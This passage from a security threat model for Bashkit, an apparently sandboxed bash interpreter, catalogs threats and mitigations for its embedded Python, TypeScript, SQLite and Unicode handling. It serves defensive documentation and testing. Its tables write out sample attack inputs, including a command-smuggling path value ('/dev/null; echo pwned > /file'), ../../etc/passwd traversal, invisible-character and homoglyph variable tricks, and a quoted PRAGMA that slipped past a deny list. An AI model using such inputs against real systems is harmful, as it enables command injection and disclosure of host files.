Bashkit embeds the Monty Python interpreter (pydantic/monty) with VFS bridging. Python pathlib.Path and open() operations are bridged to Bashkit's virtual filesystem via Monty's OsCall pause/resume mechanism. This section covers threats specific to the Python builtin.

Architecture

Python code → Monty VM → OsCall pause → Bashkit VFS bridge → resume

Monty never touches the real filesystem. All Path.* and open() operations yield OsCall events that Bashkit intercepts and dispatches to the VFS.

Threats

IDThreatSeverityMitigationTest
TM-PY-001Infinite loop via while TrueHighMonty time limit (30s) + allocation capthreat_python_infinite_loop
TM-PY-002Memory exhaustion via large allocationHighMonty max_memory (64MB) + max_allocations (1M)threat_python_memory_exhaustion
TM-PY-003Stack overflow via deep recursionHighMonty max_recursion (200) + parser depth limit (200, since 0.0.4)threat_python_recursion_bomb
TM-PY-004Shell escape via os.system/subprocessCriticalMonty has no os.system/subprocess implementationthreat_python_no_os_operations
TM-PY-005Real filesystem access via open()CriticalVFS bridge opens only Bashkit VFS files, not host filesthreat_python_no_filesystem
TM-PY-006Error info leakage via stdoutMediumErrors go to stderr, not stdoutthreat_python_error_isolation
TM-PY-007Silent failure masks malicious script errorsLowSyntax errors return non-zero exit codethreat_python_syntax_error_exit
TM-PY-008Exit-code spoofing across the python/bash boundaryLowsys.exit(N) propagates N to bash $?threat_python_exit_code_propagation
TM-PY-009Degenerate input (-c '') crashes the builtinLowEmpty code fails gracefully with an errorthreat_python_empty_code
TM-PY-010Error text leaks into pipeline dataMediumPipeline consumers receive stdout only; tracebacks stay on stderrthreat_python_pipeline_error_handling
TM-PY-011Command substitution captures stderr diagnosticsMedium$(python ...) captures stdout onlythreat_python_subst_captures_stdout
TM-PY-012Shell escape via Python eval/execCriticalMonty has no os.system/subprocess; eval'd code stays inside the interpreterthreat_python_no_shell_exec
TM-PY-013Unknown CLI options smuggle behaviorLowUnknown python options rejected with exit 2threat_python_unknown_options
TM-PY-014Python escapes Bashkit resource limitsHighBashkit ExecutionLimits apply to the python command like any builtinthreat_python_respects_bash_limits
TM-PY-015Real filesystem read via pathlibCriticalVFS bridge reads only from Bashkit VFS, not hostthreat_python_vfs_no_real_fs
TM-PY-016Real filesystem write via pathlibCriticalVFS bridge writes only to Bashkit VFSthreat_python_vfs_write_sandboxed
TM-PY-017Path traversal (../../etc/passwd)HighVFS resolves paths within sandbox boundariesthreat_python_vfs_path_traversal
TM-PY-018Bash/Python VFS isolation breachMediumShared VFS by design; no cross-tenant accessthreat_python_vfs_bash_python_isolation
TM-PY-019Crash on missing fileMediumFileNotFoundError raised, not panicthreat_python_vfs_error_handling
TM-PY-020Network access from PythonCriticalMonty has no socket/network modulethreat_python_vfs_no_network
TM-PY-021VFS mkdir escapeMediummkdir operates only in VFSthreat_python_vfs_mkdir_sandboxed
TM-PY-022Parser/VM crash kills hostCriticalParser depth limit (since 0.0.4) prevents parser crashes; Monty runs in-process with resource limits— (removed: subprocess tests no longer applicable)
TM-PY-023Shell injection in Python wrapperHighEvery shell command in bashkit-python/bashkit/deepagents.py (read/write/ls/find/grep/etc.) wraps user-supplied paths in shlex.quote(...) before f-string interpolationMITIGATED
TM-PY-024Heredoc content injectionHighdeepagents.py write() builds a per-call random delimiter (BASHKIT_EOF_<hex> via secrets.token_hex(8)), so content containing the literal BASHKIT_EOF cannot terminate the heredocMITIGATED
TM-PY-025GIL deadlock in execute_syncHighexecute_sync() calls rt.block_on() without releasing GIL; tool callbacks reacquire GILMITIGATED

TM-PY-023 / TM-PY-024 (mitigated): crates/bashkit-python/bashkit/deepagents.py built shell commands via f-string interpolation, so a path like /dev/null; echo pwned > /file injected commands, and heredoc content containing BASHKIT_EOF terminated write()'s heredoc early. Fixed per the table rows (shlex.quote everywhere; per-call random heredoc delimiter).

TM-PY-025 (mitigated): every blocking-on-tokio entry point in crates/bashkit-python/src/lib.rs (execute_sync, reset, snapshot, and BashTool equivalents) wraps rt.block_on(...) in Python::allow_threads(...), so tool callbacks re-entering Python no longer race the caller's GIL hold.

| TM-PY-026 | reset() discards security config | BashTool.reset() creates new Bash with bare builder, dropping all configured limits | PyBash::reset and BashTool::reset rebuild via replace_live_bash_with_builder + build_live_builder, which preserves the original limits, env, and registered builtins | MITIGATED | | TM-PY-027 | Unbounded recursion in JSON conversion | py_to_json/json_to_py recurse without depth limit on nested dicts/lists | json_to_py_inner, py_to_json_inner, and the MontyObject converters all carry a depth arg; depth > MAX_NESTING_DEPTH = 64 raises ValueError("… nesting depth exceeds maximum of 64") | MITIGATED | | TM-PY-030 | GIL deadlock / exit crash via async-callback private loop | Private-loop dispatch blocked on a rendezvous channel while attached (GIL held); pyclass dealloc joined in-flight blocking tasks that must re-attach to finish (froze the whole process, observed as a 6 h CI hang); worker thread attached during interpreter finalization to close its loop (SIGABRT at process exit) | Deterministic teardown protocol: dispatch detaches around send/receive; in-flight callbacks are cancelled and workers/runtime joined with the GIL released while the interpreter is alive; once the atexit-set exit flag flips, threads skip Python and the OS reclaims resources | MITIGATED |

TM-PY-026 (mitigated): see table. Regression tests: tests/test_python_security.py::test_bash_reset_preserves_limits, …test_bashtool_reset_preserves_limits.

TM-PY-027 (mitigated): see table. Coverage: tests/_security_advanced.py::JsonConversionBoundariesTests.

TM-PY-030 (mitigated): three crash/deadlock variants in the async-callback private-loop machinery (crates/bashkit-python/src/lib.rs), resolved by a deterministic teardown protocol and root-cause channel fix. (1) PyPrivateAsyncLoop::run_awaitable originally sent work to the dedicated worker thread over a sync_channel(0) rendezvous while attached; on first use the worker must attach (acquire the GIL) to create its asyncio loop before it can recv(), so dispatcher and worker waited on each other. Root-cause fix: the work-dispatch channel is now an unbounded channel(), so send() is non-blocking and the GIL need not be released around it — only the result recv() runs inside py.detach(...). Queue depth is ≤ 1 in practice because the caller blocks on result_rx.recv() before issuing another send. Regression test: test_async_callbacks.py::test_async_callback_execute_sync_first_private_loop_call_does_not_deadlock. (2) Pyclass dealloc runs attached and dropped the last Arc<Runtime>; tokio's default Runtime::drop joins in-flight blocking tasks, and an abandoned (timed-out) callback task must re-attach to finish — freezing the entire interpreter. (3) The private-loop worker attached on its exit path while the interpreter was finalizing — Py_Finalize gc is what usually wakes it — which fatals CPython (PyGILState_Release, SIGABRT; Python::try_attach cannot detect finalization before 3.13).

Teardown protocol: an atexit handler registered at module import sets INTERPRETER_AT_EXIT; atexit runs at the very start of Py_FinalizeEx, strictly before the phase in which native threads may no longer attach, so the flag cleanly splits two regimes. While the interpreter is alive, teardown is fully deterministic: pyclass Drop cancels in-flight callbacks (each callback runs as a published asyncio.Task; cancellation goes through call_soon_threadsafe(task.cancel), and a closing flag rejects queued-but-unstarted items), PyPrivateAsyncLoop::shutdown joins the worker — which closes its loop before exiting, freeing its fds — and PyRuntime::drop joins the tokio blocking pool; every join runs via join_without_gil (detach first when PyGILState_Check says the dropping thread is attached), eliminating the GIL deadlock. Once the flag is set, threads skip Python entirely and the OS reclaims resources at process exit — the only regime in which deterministic cleanup is impossible by CPython's own rules. Regression tests: tests/test_teardown_determinism.py (exact thread-count and fd-count determinism, bounded cancellation, interpreter-exit subprocess stress) plus tests/test_async_callbacks.py::test_async_callback_execute_sync_honors_timeout and …::test_dealloc_during_inflight_callback_does_not_deadlock; variant (3) is also covered by the langgraph_async_tool.py example run in the Python CI Examples job.

| TM-PY-029 | Host clock information disclosure | datetime.date.today() / datetime.datetime.now() expose host system time and timezone | Intentional — required for correct datetime semantics | ACCEPTED |

TM-PY-029: crates/bashkit/src/builtins/python.rshandle_date_today() and handle_datetime_now() read the host system clock via chrono::Local::now() / chrono::Utc::now(). This exposes the host's current time and timezone offset to sandboxed Python code. Accepted as intentional: datetime operations require real time, and this information has low sensitivity. No filesystem or network access is granted.

VFS Bridge Security Properties

  1. No real filesystem access: All Path and open operations go through Bashkit's VFS. /etc/passwd in Python reads from VFS, not the host.
  2. Shared VFS with bash: Files written by echo > file are readable by Python's open(file).read() / Path(file).read_text(), and vice versa. This is intentional.
  3. Path resolution: Relative paths are resolved against the shell's cwd. Path traversal (../..) is constrained by VFS path normalization.
  4. Error mapping: VFS errors are mapped to standard Python exceptions (FileNotFoundError, IsADirectoryError, etc.), not raw panics.
  5. Resource isolation: Monty's own limits (time, memory, allocations, recursion) are enforced independently of Bashkit's shell limits.

Direct Integration

Monty runs directly in the host process. Resource limits (memory, allocations, time, recursion) are enforced by Monty's own runtime, not by process isolation. All VFS operations are bridged in-process — Python code never touches the real filesystem.

Supported OsCall Operations

All bridged to VFS methods: Path.exists/is_file/is_dir/is_symlink/statfs.stat()/fs.exists(); open(), Path.open/read_text/read_bytes/write_text/write_bytes and append-mode writes → fs.read_file()/fs.write_file(); Path.mkdirfs.mkdir(); Path.unlink/rmdirfs.remove(); Path.iterdirfs.read_dir(); Path.renamefs.rename(); Path.resolve/absolute → identity (no symlink resolution); os.getenv/os.environctx.env (never host env).


TypeScript / ZapCode Security (TM-TS)

Experimental. ZapCode is an early-stage TypeScript interpreter that may have undiscovered crash or security bugs. Resource limits are enforced by ZapCode's VM. This integration should be treated as experimental.

Opt-in only. TypeScript builtins (ts, node, deno, bun) are NOT registered by default. They require both the typescript Cargo feature flag AND an explicit .typescript() call on the builder. Without both, these commands are unavailable.

Bashkit embeds the ZapCode TypeScript interpreter (zapcode-core) with VFS bridging via external function suspend/resume. TypeScript code can access the virtual filesystem through registered external functions. This section covers threats specific to the TypeScript builtin.

Architecture

TypeScript code → ZapCode VM → ExternalFn suspend → Bashkit VFS bridge → resume

ZapCode never touches the real filesystem. External function calls suspend the VM, Bashkit intercepts and dispatches to the VFS, then resumes execution.

Opt-in Design

TypeScript execution requires two explicit opt-in steps, matching the Python builtin pattern: (1) Cargo feature typescript (compiles zapcode-core) and (2) builder registration .typescript() (registers ts/node/deno/bun). Without both, the commands are unavailable.

Threats

IDThreatSeverityMitigationTest
TM-TS-001Infinite loop via while (true) {}HighZapCode time limit (default 30s)threat_ts_infinite_loop
TM-TS-002Memory exhaustion via large allocationHighZapCode max_memory (64MB) + max_allocations (1M)threat_ts_memory_exhaustion
TM-TS-003Stack overflow via deep recursionHighZapCode max_stack_depth (512)threat_ts_stack_overflow
TM-TS-004Allocation bomb (many small objects)HighZapCode max_allocations (1M)threat_ts_allocation_bomb
TM-TS-005Real filesystem access via VFSCriticalVFS bridge reads only from Bashkit VFS, not hostthreat_ts_vfs_no_real_fs
TM-TS-006VFS write escapes to hostCriticalVFS bridge writes only to Bashkit VFSthreat_ts_vfs_write_sandboxed
TM-TS-007Path traversal (../../etc/passwd)HighVFS resolves paths within sandbox boundariesthreat_ts_vfs_path_traversal
TM-TS-008Bash/TypeScript VFS data corruptionMediumShared VFS by design; no cross-tenant accessthreat_ts_vfs_bash_ts_shared
TM-TS-009Crash on missing fileMediumError string returned, not panicthreat_ts_vfs_error_handling
TM-TS-010VFS mkdir escapeMediummkdir operates only in VFSthreat_ts_vfs_mkdir_sandboxed
TM-TS-011VFS operations escape to host /tmpCriticalAll operations go through Bashkit VFSthreat_ts_vfs_no_host_escape
TM-TS-012Error info leakage via stdoutMediumErrors go to stderr, not stdoutthreat_ts_error_isolation
TM-TS-013Syntax error crashes hostMediumNon-zero exit code, error on stderrthreat_ts_syntax_error_exit
TM-TS-014Exit code not propagatedLowExit code flows to bash $?threat_ts_exit_code_propagation
TM-TS-015Empty code crashesLowNon-zero exit, error messagethreat_ts_empty_code
TM-TS-016Pipeline error leakageMediumErrors on stderr, not passed to pipethreat_ts_pipeline_error_handling
TM-TS-017Unknown options acceptedLowUnknown flags return non-zerothreat_ts_unknown_options
TM-TS-018TypeScript bypasses Bashkit limitsMediumCommand budget still enforcedthreat_ts_respects_bash_limits
TM-TS-019Command subst captures errorsMediumOnly stdout captured by $()threat_ts_subst_captures_stdout
TM-TS-020Bash var expansion injectionMediumBy-design; use single quotes to preventthreat_ts_variable_expansion
TM-TS-021Shell command execution from TSCriticalNo process/subprocess/exec globalsthreat_ts_no_shell_exec
TM-TS-022Script reads from host filesystemCriticalScript file loaded via VFSthreat_ts_script_from_vfs
TM-TS-023Shebang line injectionLowShebang stripped safelythreat_ts_shebang_stripped

Blocked Language Features

ZapCode blocks these at the language level (not just runtime):

FeatureStatusRationale
eval()BlockedDynamic code execution escape
Function() constructorBlockedDynamic code generation
import / requireBlockedModule system not implemented
process globalBlockedNo Node.js process API
Deno globalBlockedNo Deno runtime API
Bun globalBlockedNo Bun runtime API
globalThis.processBlockedNo runtime globals
__proto__ mutationBlockedPrototype pollution prevention

VFS Bridge Security Properties

Same five properties as the Python VFS bridge (see TM-PY section): no real filesystem access, intentionally shared VFS with bash, cwd-relative path resolution constrained by VFS normalization, errors returned as strings (not panics), and ZapCode's own resource limits (time, memory, stack, allocations) enforced independently of Bashkit's shell limits.

Supported VFS Operations

External functions, all VFS-bridged: readFile(path) → string, writeFile(path, content), exists(path) → boolean, readDir(path) → string[], mkdir(path), remove(path), stat(path) → JSON string.

Known Limitation

ZapcodeSnapshot::resume() does not expose the VM's accumulated stdout. This means console.log() output produced after a VFS call (external function) is not captured. Use the return-value pattern instead — the last expression's value is printed. This is a zapcode-core API limitation.


SQLite Security (TM-SQL)

Experimental and opt-in for now. The sqlite/sqlite3 builtins embed Turso's pure-Rust SQLite-compatible engine. Library callers must compile the sqlite feature, register the builtin with .sqlite() or .sqlite_with_limits(...), and set BASHKIT_ALLOW_INPROCESS_SQLITE=1 before SQL executes. Without the runtime opt-in, registered commands fail closed with a disabled error.

Bashkit runs SQLite in-process against databases stored in the virtual filesystem or :memory:. The default backend loads and flushes whole database files through the VFS; the VFS backend implements Turso's IO trait over Arc<dyn FileSystem>. Neither backend intentionally touches the host filesystem.

Threats

IDThreatSeverityMitigationTest
TM-SQL-001Code execution via BETA upstreamCriticalCargo feature + builder registration + runtime opt-in gatetm_sql_001_default_disabled_without_opt_in
TM-SQL-002Sandbox escape via host filesystemCriticalDB files, .read, and VFS backend paths resolve through Arc<dyn FileSystem>tm_sql_002_paths_resolve_only_to_vfs, tm_sql_002b_vfs_backend_isolated_to_bash_fs
TM-SQL-003DoS via large SQL inputHighSqliteLimits::max_script_bytestm_sql_003_oversize_script_rejected
TM-SQL-004DoS via huge result setHighSqliteLimits::max_rows_per_query, enforced before materialising each rowtm_sql_004_oversize_result_set_aborts
TM-SQL-005DoS via huge DB fileHighSqliteLimits::max_db_bytes on load and while growing DBs on both backendstm_sql_005_oversize_db_file_rejected, db_growth_beyond_max_rejected_on_both_backends
TM-SQL-005aDoS via wall-clock burnHighPer-step deadline and Statement::interrupt()deadline_already_expired_aborts_with_timeout
TM-SQL-005bDoS via statement floodMediumSqliteLimits::max_statements after splittingtoo_many_statements_rejected
TM-SQL-006Binary truncation in BLOB round-tripMediumValues backed by Vec<u8>tm_sql_006_null_bytes_in_text_safely_round_trip
TM-SQL-007CSV escape failure with separator-bearing blobsMediumRFC-4180 quotingtm_sql_007_blob_with_separator_quoted_in_csv
TM-SQL-008Stack overflow via recursive .readHighMAX_DOT_READ_DEPTH hard captm_sql_008_recursive_dot_read_eventually_terminates
TM-SQL-009Cross-database access via ATTACH/DETACHHighCase/comment-aware policy rejectiontm_sql_009_attach_detach_rejected, attach_blocked_even_with_leading_comment
TM-SQL-010DoS or fingerprinting via dangerous PRAGMAsHighSqliteLimits::pragma_deny default deny list; policy parser handles comments plus quoted/schema-qualified namestm_sql_010_pragma_deny_blocks_resource_knobs, pragma_schema_qualified_match
TM-SQL-011Host-side error string disclosureMediumsanitize() strips host path annotations from Turso errorsManual exploratory review

Test Shape

SQLite coverage intentionally mixes black-box and white-box checks:

  • Black-box: tests/sqlite_integration_tests.rs and tests/sqlite_security_tests.rs drive Bash::exec, shell parsing, redirection, pipelines, the sqlite3 alias, opt-in failure, VFS persistence, and policy errors through the public API.
  • White-box: builtins/sqlite/tests.rs exercises parser splitting, SQL policy sniffing, sanitizer behavior, backend equivalence, formatter modes, resource limits, and dot-command recursion directly inside the module.
  • Differential/fuzz: tests/sqlite_differential_tests.rs, tests/sqlite_compat_tests.rs, and tests/sqlite_fuzz_tests.rs compare against host sqlite3 where available and assert no-panic/no-leak invariants for generated inputs.

Exploratory probing found and fixed two gaps in this section: quoted schema-qualified PRAGMAs such as PRAGMA main."cache_size" bypassed the deny list, and the VFS backend used the default 256 MiB cap instead of the caller's custom max_db_bytes while allowing growth past the cap.


Unicode Security (TM-UNI)

Unicode handling presents a broad attack surface in any interpreter that processes untrusted text input. Bashkit processes Unicode in script source, variable values, filenames, and builtin arguments (awk/sed/grep patterns). This section catalogs Unicode-specific threats beyond the path-level protections in TM-DOS-015.

Context: AI agents (Bashkit's primary users) frequently generate Unicode content — LLMs produce box-drawing characters, emoji, CJK, accented text, and other multi-byte sequences in comments, strings, and data. Issue #395 demonstrated that the awk parser panics on multi-byte Unicode because it conflates character positions with byte offsets.

11.1 Builtin Parser Byte-Boundary Safety

IDThreatAttack VectorMitigationStatus
TM-UNI-001Byte-boundary panic in awkawk '{print}' <<< "─ comment" — multi-byte char causes self.input[self.pos..] paniccatch_unwind (TM-INT-001) catches the panic; root fix requires char-boundary-safe indexingPARTIAL
TM-UNI-002Byte-boundary panic in sedsed 's/─/x/' file — similar byte-offset slicingcatch_unwind catches; needs audit of &s[start..i] patternsPARTIAL
TM-UNI-015Byte-boundary panic in exprexpr substr "café" 4 1 — char position used as byte index in string slicecatch_unwind catches; .len() returns bytes but used as char countPARTIAL
TM-UNI-016Byte-boundary panic in printfprintf "%.1s" "é" — precision truncation slices mid-charactercatch_unwind catches; &s[..prec] without boundary checkPARTIAL
TM-UNI-017Byte-level char set in cut/trecho "café" | tr 'é' 'x'as_bytes() iteration drops multi-byte charscatch_unwind catches; .find() byte offsets mixed with string slicingPARTIAL
TM-UNI-018Byte/char confusion in arithmetic((α=1))find('=') byte offset used as char index in .chars().nth()Wrong character inspection; no panic but incorrect operator detectionPARTIAL
TM-UNI-019Byte/char confusion in URL matchingAllowlist path with multi-byte chars — pattern_path.len() bytes used as char indexWrong path boundary check; no panic but incorrect allow/deny decisionPARTIAL

Current Risk: MEDIUM — catch_unwind (TM-INT-001) prevents process crash for all builtins, but they silently fail instead of processing the input correctly. Scripts get unexpected "builtin failed unexpectedly" errors on valid Unicode input. Interpreter-level issues (TM-UNI-018) produce wrong results without panic. Network allowlist issues (TM-UNI-019) may produce incorrect allow/deny decisions on multi-byte URL paths.

Root Cause: A pervasive pattern across multiple components: code uses .find(), .len(), or manual counters that return byte offsets but then passes these values to APIs expecting character indices (.chars().nth()) or uses them where char-based counting is needed. For ASCII this is coincidentally correct. For multi-byte UTF-8 (2–4 bytes per char), character position N does not equal byte offset N.

Affected Code (file:line-range pointers; same byte-vs-char confusion in each):

  • awk.rs — 50+ instances, CRITICAL: identifier/keyword/number slicing at 449, 453, 1532, 1596; ~69 .chars().nth(byte_offset) calls across 397-1564; ~10 operator checks on self.input[self.pos..] across 1006-1430
  • sed.rs — 14 instances: split_sed_commands 293-299, parse_address 376-382, parse_sed_command 455/458, commands a/i/c 547-566, rest[1..] single-byte assumptions 574-609
  • expr.rs — 46 (.len() as char count), 57 (byte length as position bound), 62 (char positions as byte slice indices)
  • printf.rs — 165 (&s[..s.len().min(prec)] may land mid-character)
  • cuttr.rs — 405-410 (expand_char_set byte iteration; find(":]") byte offset, safe for ASCII class names but fragile)
  • interpreter/mod.rs — 1520, 1524 (.chars().nth() fed byte offsets from .find('='))
  • network/allowlist.rs — 194 (url_path.chars().nth(pattern_path.len()), byte count as char index)

Fix Pattern: Convert all byte/char-confused code to use one of:

  1. char_indices() iteration — returns (byte_offset, char) pairs
  2. is_char_boundary() checks before slicing
  3. Consistent byte-only offsets from .find() for slicing

The logging_impl.rs:truncate() function demonstrates the correct pattern using is_char_boundary().

11.2 Zero-Width Character Injection

IDThreatAttack VectorMitigationStatus
TM-UNI-003Zero-width chars in filenamestouch "/tmp/file\u{200B}name" — invisible ZWSP creates confusable filenamesfind_unsafe_path_char() rejects U+200B-U+200D, U+2060, U+FEFF, U+180E in path componentsMITIGATED
TM-UNI-004Zero-width chars in variable names\u{200B}PATH=malicious — invisible char makes variable look like PATHNot detected; Bash itself allows thisACCEPTED
TM-UNI-005Zero-width chars in script sourceecho "pass\u{200B}word" — invisible char in string literalNot detected; pass-through is correct Bash behaviorACCEPTED

Current Risk: LOW for filenames (path validation gap), MINIMAL for variables/scripts (correct pass-through behavior matches Bash)

Status: TM-UNI-003 is MITIGATED. find_unsafe_path_char() (crates/bashkit/src/fs/limits.rs) rejects the zero-width set U+200B (ZWSP), U+200C (ZWNJ), U+200D (ZWJ), U+2060 (Word Joiner), U+FEFF (BOM/ZWNBSP), U+180E (Mongolian Vowel Separator) in path components. Variable names and script content still pass through as-is to match Bash behavior (TM-UNI-004, TM-UNI-005).

11.3 Homoglyph / Confusable Characters

IDThreatAttack VectorMitigationStatus
TM-UNI-006Homoglyph filename confusion/tmp/tеst.sh (Cyrillic е U+0435 vs Latin e U+0065) — visually identical filenames with different contentNot detected; full homoglyph detection is impracticalACCEPTED
TM-UNI-007Homoglyph variable confusionpаth=/evil (Cyrillic а) vs path=/safe (Latin a)Not detected; matches Bash behaviorACCEPTED

Current Risk: LOW — Bashkit runs untrusted scripts in isolation. Homoglyph confusion primarily threatens humans reading code, not automated execution. Full Unicode confusable detection (UTS #39) would require large lookup tables and produce false positives on legitimate CJK/accented text.

Decision: Accept risk. Document that callers displaying filenames or variable names to users should apply their own confusable-character detection if needed.

11.4 Unicode Normalization

IDThreatAttack VectorMitigationStatus
TM-UNI-008Normalization-based filename bypassNFC "café" vs NFD "café" (composed é vs e+combining acute) create two distinct files with the same visual nameNo normalization applied; matches real filesystem behaviorACCEPTED

Current Risk: LOW — This matches POSIX/Linux filesystem behavior (filenames are opaque byte sequences). macOS normalizes to NFD, Linux does not. Bashkit's VFS treats filenames as byte-exact strings, consistent with Linux behavior.

Decision: Accept risk. Normalization would break round-trip fidelity and is not done by real Bash on Linux.

11.5 Combining Character Abuse

IDThreatAttack VectorMitigationStatus
TM-UNI-009Excessive combining marksFilename with 1000 combining diacritical marks on one base char — visual DoS / potential rendering hangmax_filename_length (255 bytes) limits total sizeMITIGATED
TM-UNI-010Combining marks in builtin inputawk / grep pattern with excessive combinersExecution timeout + builtin parser depth limitMITIGATED

Current Risk: LOW — Existing length limits bound the damage.

11.6 Tag Characters and Other Invisibles

IDThreatAttack VectorMitigationStatus
TM-UNI-011Tag character hidingU+E0001-U+E007F (Tags block) — invisible chars that can conceal content in filenamesfind_unsafe_path_char() rejects U+E0000-U+E007F in path componentsMITIGATED
TM-UNI-012Interlinear annotation hidingU+FFF9-U+FFFB (Interlinear Annotations) — can hide text in filenamesfind_unsafe_path_char() rejects U+FFF9-U+FFFB in path componentsMITIGATED
TM-UNI-013Deprecated format charsU+206A-U+206F (Deprecated formatting) — can cause display confusionfind_unsafe_path_char() rejects U+206A-U+206F in path componentsMITIGATED

Status: All three are MITIGATED. find_unsafe_path_char() rejects every documented invisible/confusable range in path components: zero-width (TM-UNI-003), bidi overrides U+202A-U+202E / U+2066-U+2069 (TM-DOS-015), deprecated format U+206A-U+206F (TM-UNI-013), interlinear annotations U+FFF9-U+FFFB (TM-UNI-012), tag block U+E0000-U+E007F (TM-UNI-011). Variable names, script content, and command output pass through unaffected (matches Bash); caller-side display sanitization remains useful defense-in-depth.

11.7 Bidi in Script Source

IDThreatAttack VectorMitigationStatus
TM-UNI-014Bidi override in script sourceTrojan Source — RTL overrides in script comments/strings reorder displayed code, hiding malicious logicNot detected in script input; paths are protected (TM-DOS-015)ACCEPTED

Current Risk: LOW — Bashkit executes untrusted scripts by design. The Trojan Source attack targets human code reviewers, not automated execution. Scripts are treated as untrusted regardless of visual appearance.

Decision: Accept risk. Bidi detection in script source would be defense-in-depth for callers who display scripts to users, but is out of scope for Bashkit's core execution model. Document as caller responsibility.

11.8 Additional Builtin and Component Byte-Boundary Issues

Codebase-wide audit (beyond awk/sed covered in 11.1) found byte/char confusion in 5 additional components. All share the same root cause: using byte offsets where character indices are expected, or vice versa.

IDComponentAttack VectorRoot CauseStatus
TM-UNI-015expr builtinexpr substr "café" 4 1 — user-provided char positions used as byte indices; expr length "café" returns 5 (bytes) not 4 (chars)s[start..end] with char-position args; .len() returns bytesPARTIAL
TM-UNI-016printf builtinprintf "%.1s" "é" — precision 1 slices at byte 1, mid-char&s[..s.len().min(prec)] without is_char_boundary()PARTIAL
TM-UNI-017cut/tr builtinsecho "café" | tr 'é' 'x' — multi-byte chars in char set specs brokenas_bytes() iteration in expand_char_set() treats all input as single-bytePARTIAL
TM-UNI-018Interpreter arithmetic((αβγ=1))find('=') byte offset passed to .chars().nth()Byte offset from .find() used as char index; wrong char inspectedPARTIAL
TM-UNI-019Network allowlistallow("https://example.com/données/") — byte length as char indexpattern_path.len() (bytes) → url_path.chars().nth(bytes)PARTIAL

Affected Code: same locations as the per-file pointers in §11.1 — expr.rs:46,57,62 (panic risk), printf.rs:165 (panic risk), cuttr.rs:405-410, interpreter/mod.rs:1517-1524, network/allowlist.rs:194.

Risk Assessment: MEDIUM for expr/printf (panic risk on valid input, caught by catch_unwind). LOW-MEDIUM for allowlist (incorrect allow/deny on multi-byte URL paths, no panic). LOW for interpreter arithmetic and cut/tr (multi-byte variable names and tr specs are rare in practice).

Safe Components (confirmed by audit): lexer (parser/lexer.rs, Chars iterator + ch.len_utf8() offsets); wc (.len()/.chars().count() used correctly); grep (regex crate); jq (jaq crate); sort/uniq (comparison-based, no byte indexing); logging (logging_impl.rs, is_char_boundary()); python builtin + Python bindings (PyO3 UTF-8 handling, only ASCII find('\n')); eval harness (Iterator::find, chars().take(), from_utf8_lossy()); curl/bc/export/date/comm/echo/archive/base64 (.find()/slicing only on single-byte ASCII delimiters); scripted_tool (no byte/char patterns).

Unicode Security Summary

IDThreatRiskStatusAction
TM-UNI-001Awk parser byte-boundary panicMEDIUMPARTIALFix awk parser indexing (issue #395)
TM-UNI-002Sed parser byte-boundary panicMEDIUMPARTIALFix sed byte-indexing patterns
TM-UNI-003Zero-width chars in filenamesLOWMITIGATEDfind_unsafe_path_char() rejects U+200B-U+200D, U+2060, U+FEFF, U+180E
TM-UNI-004Zero-width chars in variablesMINIMALACCEPTEDMatches Bash behavior
TM-UNI-005Zero-width chars in scriptsMINIMALACCEPTEDCorrect pass-through
TM-UNI-006Homoglyph filenamesLOWACCEPTEDImpractical to fully detect
TM-UNI-007Homoglyph variablesLOWACCEPTEDMatches Bash behavior
TM-UNI-008Normalization bypassLOWACCEPTEDMatches Linux FS behavior
TM-UNI-009Excessive combining marks (filenames)LOWMITIGATEDLength limits bound damage
TM-UNI-010Excessive combining marks (builtins)LOWMITIGATEDTimeout + depth limits
TM-UNI-011Tag character hidingLOWMITIGATEDfind_unsafe_path_char() rejects U+E0000-U+E007F
TM-UNI-012Interlinear annotation hidingLOWMITIGATEDfind_unsafe_path_char() rejects U+FFF9-U+FFFB
TM-UNI-013Deprecated format charsLOWMITIGATEDfind_unsafe_path_char() rejects U+206A-U+206F
TM-UNI-014Bidi in script sourceLOWACCEPTEDCaller responsibility
TM-UNI-015Expr substr byte-boundary panicMEDIUMPARTIALFix expr to use char-safe indexing (issue #434)
TM-UNI-016Printf precision mid-char panicMEDIUMPARTIALUse is_char_boundary() (issue #435)
TM-UNI-017Cut/tr byte-level char set parsingMEDIUMPARTIALSwitch to char-aware iteration (issue #436)
TM-UNI-018Interpreter arithmetic byte/char confusionLOWPARTIALUse char_indices() in arithmetic (issue #437)
TM-UNI-019Network allowlist byte/char confusionMEDIUMPARTIALFix URL path matching to use byte offsets (issue #438)

Caller Responsibilities (Unicode)

ResponsibilityRelated ThreatsDescription
Sanitize displayed filenamesTM-UNI-003, TM-UNI-006, TM-UNI-011Strip zero-width/invisible chars before showing filenames to users
Homoglyph detectionTM-UNI-006, TM-UNI-007Apply UTS #39 confusable detection if showing script content to users
Bidi sanitizationTM-UNI-014Strip bidi overrides from script source before displaying to code reviewers
Validate multi-byte builtin argsTM-UNI-015, TM-UNI-016, TM-UNI-017Be aware that expr/printf/cut/tr may fail on non-ASCII input until byte-boundary fixes land
Use ASCII in network allowlist patternsTM-UNI-019Avoid multi-byte chars in allowlist URL patterns until byte/char fix lands

References

  • specs/architecture.md - System design
  • specs/vfs.md - Virtual filesystem design
  • specs/security-testing.md - Fail-point testing
  • specs/python-builtin.md - Python builtin specification
  • src/builtins/system.rs - Hardcoded system builtins
  • tests/threat_model_tests.rs - Threat model test suite
  • tests/security_failpoint_tests.rs - Fail-point security tests
  • tests/unicode_security_tests.rs - Unicode security tests (TM-UNI-*)
  • tests/security_audit_pocs.rs - PoC tests for 2026-03 deep audit (TM-INJ-012–016, TM-INF-017–018, TM-DOS-041–050, TM-PY-028)